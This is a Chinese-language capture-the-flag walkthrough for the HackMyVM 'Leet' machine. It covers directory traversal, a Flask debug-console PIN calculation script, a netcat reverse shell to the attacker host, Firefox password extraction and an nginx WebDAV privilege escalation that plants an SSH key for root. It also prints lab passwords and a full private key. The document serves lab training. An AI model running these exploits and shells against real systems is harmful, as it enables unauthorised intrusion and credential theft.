简介
靶机:leet
靶机难度:困难
靶机地址:https://hackmyvm.eu/machines/machine.php?vm=Leet
攻击机(kali)ip:192.168.190.131
跳板机 (windows) ip:192.168.190.100;192.168.56.1
靶机ip:192.168.56.100
扫描
nmap起手
nmap -Pn --min-rate=10000 -sT -p0- 192.168.56.100 -oA nmapscan/ports ;ports=$(grep open ./nmapscan/ports.nmap | awk -F '/' '{print $1}' | paste -sd ',');echo $ports >> nmapscan/tcp_ports;
sudo nmap -Pn -sT -sV -sC -O -p$ports 192.168.56.100 -oA nmapscan/detail
22和7777,先从http入手
HTTP
网页功能是把我们输入的内容转换成txt文件。值得一提的是,它会把一些敏感字符替换成其他内容。
L33T其实是个早期很流行的编码,用来防范垃圾邮件和扫描器探测特定字符串,根据强度不同还有多种编码方案,但思路都是把字符替换成其他形状相近的字符。
生成一波字母,得到对应关系如下
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
4bcd3fgh1jklmn0pqr5tuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
感觉很难注入,先看看其他地方能不能利用。
目录扫描
feroxbuster -u http://192.168.56.100:7777/ -t 20 -w $HVV_Tool/8_dict/seclist/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt -C 500 -d 3
❯ feroxbuster -u http://192.168.56.100:7777/ -t 10 -w $HVV_Tool/8_dict/seclist/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt -C 500 -d 3
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.10.4
───────────────────────────┬──────────────────────
🎯 Target Url │ http://192.168.56.100:7777/
🚀 Threads │ 10
📖 Wordlist │ /home/kali/1_Tool/1_HVV/8_dict/seclist/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt
💢 Status Code Filters │ [500]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.10.4
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 3
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 5l 31w 207c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 25l 99w 1234c http://192.168.56.100:7777/
[>-------------------] - 28s 1370/1185240 6h found:1 errors:0
[>-------------------] - 30s 1404/1185240 6h found:1 errors:0
200 GET 45l 144w 1563c http://192.168.56.100:7777/console
404 GET 0l 0w 207c http://192.168.56.100:7777/lipiec2006
[########>-----------] - 4h 523084/1185240 8h found:3 errors:93
扫描到/console
路径,访问后出现调试控制台,可知是flask框架,看看能不能收集信息来计算pin码。
LFI
这个网站会给转换好的txt文件一个下载链接,我们拿下来看看。
curl http://192.168.56.100:7777/download\?filename\=../../../etc/passwd
尝试目录穿越,成功了
riva用户还是读不了的,也可以目录爆破,但效率很低,这里可以通过计算pin码来获得console权限。
pin码计算
首先明确我们需要获取哪些内容。网上找的一张图。
username: 反正不可能直接给我们root,所以应该是riva或者www-data
modname: 默认flask.app
appname: 默认Flask
moddir: 这里应该是翻译错了,本意应该是app.py的路径。我们随便读一个不存在的路径就可以通过报错得到了。/opt/project/venv/lib/python3.11/site-packages/flask/app.py
uuidnode:直接读取../../../sys/class/net/lo/address
……咦,咋没有?
可能网卡名字不是eth0,可以先查看网卡配置
curl http://192.168.56.100:7777/download\?filename\=../../../etc/network/interfaces
名为enp0s3
。linux网卡命名有一定规则,这里“en”代表以太网,“p0”是以太网卡的总线号,“s3”是插槽号。细则可以自行查阅。
然后再读取address就没有问题了。转换成十进制值为8796757364018
machine_id:
curl只能读到machine_id啊……f6791f240ce6407ea271e86b78ac3bdb
。cgroup怎样也读不到,这是什么缘故?后来尝试换参数、浏览器、系统都搞不了,想来大概又是什么环境问题,问了下其他师傅,也确实有很多人遇到这种情况。
方法应该是没错的,底层系统问题很难排查,这边先略过。总之如果是正常情况下的话,能获取到cgroup为0::/system.slice/flaskapp.service
,boot_id为7613d919-fd79-417e-871d-a57057ec646b
合成machine_id为f6791f240ce6407ea271e86b78ac3bdbflaskapp.service
我们现在有两个脚本,一个是算md5的,适用python3.6的版本
#MD5
import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb'# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'25214234362297',# str(uuid.getnode()), /sys/class/net/ens33/address
'0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa'# get_machine_id(), /etc/machine-id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
另一个是计算sha1,也就是python3.8及之后的版本
#sha1
import hashlib
from itertools import chain
probably_public_bits = [
'www-data'# /etc/passwd
'flask.app',# 默认值
'Flask',# 默认值
'/opt/project/venv/lib/python3.11/site-packages/flask/app.py' # 报错得到
]
private_bits = [
'8796757364018',# /sys/class/net/eth0/address 16进制转10进制
#machine_id由三个合并(docker就后两个):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup
'f6791f240ce6407ea271e86b78ac3bdbflaskapp.service'# /proc/self/cgroup
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
这里使用第二个版本,计算出来pin码为138-199-135
回到/console
,输入pin码后成功登陆
回连就简单了,先攻击机起监听
rlwrap -cAr nc -lvvp 47000
然后python用os反弹shell即可
import os
os.system("nc -e /bin/sh 192.168.56.1 47000")
提权
sudo -l起手
Matching Defaults entries for www-data on leet:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User www-data may run the following commands on leet:
(riva) NOPASSWD: /usr/bin/micro
查了下,micro就是个编辑器。这边我直接当成vim,把攻击机的公钥写入/home/riva/.ssh/authorized_keys
3a5cf7b35876169c280229c213ed63c1
凭据获取
其他地方没找到什么有效的信息,执行了一下sudo -l,发现需要riva用户的密码,可以从这一步入手。
首先在用户目录下找到riva有安装firefox
github上找到firefox的凭据获取工具firefox_decrypt,传到目标服务器上运行
scp ./firefox_decrypt.py riva@192.168.56.100:/home/riva/
目标机:
riva@leet:~$ python3 firefox_decrypt.py
Select the Mozilla profile you wish to decrypt
1 -> zbznfk37.default
2 -> guu30cui.default-esr
2
Website: chrome://FirefoxAccounts
Username: '1db9561103ca4adc9afa6357c0a0b554'
Password: '{"version":1,"accountData":{"scopedKeys":{"https://identity.mozilla.com/apps/oldsync":{"kid":"1603273389635-IxsZ6HpGK9fL9tUfdcBqwA","k":"Q8lFF-E91kvogabSQ2yjKj7k2JHX30UDeHEriaxaCY5slUVmtQvP-e3is5GxBiUKkG3g4dQLbFRsVOYeMkjNpg","kty":"oct"},"sync:addon_storage":{"kid":"1603273389635-Ng9dJrdpVFqEoBs-R3LaTMKTiSWhWypqfmg9MJDby4U","k":"L8MGJk3tWVlmN9Sm-MmdauxuQ38fIl--NziTjg_AmjO51_-vHo70OELMwif8kqn2zE3Yqg30BLw1ndNplRzGCA","kty":"oct"}},"kSync":"43c94517e13dd64be881a6d2436ca32a3ee4d891d7df450378712b89ac5a098e6c954566b50bcff9ede2b391b106250a906de0e1d40b6c546c54e61e3248cda6","kXCS":"231b19e87a462bd7cbf6d51f75c06ac0","kExtSync":"2fc306264ded59596637d4a6f8c99d6aec6e437f1f225fbe3738938e0fc09a33b9d7ffaf1e8ef43842ccc227fc92a9f6cc4dd8aa0df404bc359dd369951cc608","kExtKbHash":"360f5d26b769545a84a01b3e4772da4cc2938925a15b2a6a7e683d3090dbcb85"}}'
Website: http://leet.hmv
Username: 'riva'
Password: 'PGH$2r0co3L5QL'
Website: https://hackmyvm.eu
Username: 'riva'
Password: 'lovelove80'
得到密码为PGH$2r0co3L5QL
nginx提权
riva@leet:~$ sudo -l
[sudo] password for riva:
Matching Defaults entries for riva on leet:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User riva may run the following commands on leet:
(root) /usr/sbin/nginx
可以看到我们可以用nginx提权。nginx本身没法执行啥系统命令,但是可以搭建服务器来让我们以root身份连接上去。
这边参考的是这篇文章,网上关于nginx执行shell命令的环境配置教程有很多,但直接无依赖直接提权较少。
https://gist.github.com/DylanGrl/ab497e2f01c7d672a80ab9561a903406
首先将以下代码写入exp.sh
中:
echo "[+] Creating configuration..."
cat << EOF > /tmp/nginx_pwn.conf
user root;
worker_processes 4;
pid /tmp/nginx.pid;
events {
worker_connections 768;
}
http {
server {
listen 1339;
root /;
autoindex on;
dav_methods PUT;
}
}
EOF
echo "[+] Loading configuration..."
sudo nginx -c /tmp/nginx_pwn.conf
echo "[+] Generating SSH Key..."
ssh-keygen
echo "[+] Display SSH Private Key for copy..."
cat .ssh/id_rsa
echo "[+] Add key to root user..."
curl -X PUT localhost:1339/root/.ssh/authorized_keys -d "$(cat .ssh/id_rsa.pub)"
echo "[+] Use the SSH key to get access"
然后直接跑
riva@leet:~$ /tmp/exp.sh
bash: warning: setlocale: LC_ALL: cannot change locale (zh_CN.UTF-8)
[+] Creating configuration...
[+] Loading configuration...
2024/07/17 08:24:49 [emerg] 1021#1021: bind() to 0.0.0.0:1339 failed (98: Address already in use)
2024/07/17 08:24:49 [emerg] 1021#1021: bind() to 0.0.0.0:1339 failed (98: Address already in use)
2024/07/17 08:24:49 [emerg] 1021#1021: bind() to 0.0.0.0:1339 failed (98: Address already in use)
2024/07/17 08:24:49 [emerg] 1021#1021: bind() to 0.0.0.0:1339 failed (98: Address already in use)
2024/07/17 08:24:49 [emerg] 1021#1021: bind() to 0.0.0.0:1339 failed (98: Address already in use)
2024/07/17 08:24:49 [emerg] 1021#1021: still could not bind()
[+] Generating SSH Key...
Generating public/private rsa key pair.
Enter file in which to save the key (/home/riva/.ssh/id_rsa):
/home/riva/.ssh/id_rsa already exists.
Overwrite (y/n)? y
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/riva/.ssh/id_rsa
Your public key has been saved in /home/riva/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:RDBLkTcV9qCyL8FOs5CJBK+cJMK/+PWahbE6eamZdag riva@leet.hmv
The key's randomart image is:
+---[RSA 3072]----+
|. =+..=. |
|.o ..+oo o |
|ooo o.o. . |
|=oo. + + |
|.o..+.* S |
| . .+== |
| . ..*=o. |
| .oBo=. |
| E+o.. |
+----[SHA256]-----+
[+] Display SSH Private Key for copy...
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
[+] Add key to root user...
[+] Use the SSH key to get access
riva@leet:~$ ls
firefox_decrypt.py user.txt
riva@leet:~$ ssh -i ./.ssh/id_rsa root@127.0.0.1
Linux leet.hmv 6.1.0-21-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.90-1 (2024-05-03) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue May 28 17:37:49 2024 from 192.168.0.178
-bash: warning: setlocale: LC_ALL: cannot change locale (zh_CN.UTF-8)
root@leet:~# cd
root@leet:~# ls
index.html r007_fl46.7x7 troll.jpg
root@leet:~# cat r007_fl46.7x7
ca169772acb099a02ebab8da1d9070ea
root@leet:~#
可以看到我们先以root身份启动了nginx服务器,然后把riva私钥文件传入root的.ssh文件夹中,使得我们可以直接用riva的私钥连接root用户。
最后的flag为ca169772acb099a02ebab8da1d9070ea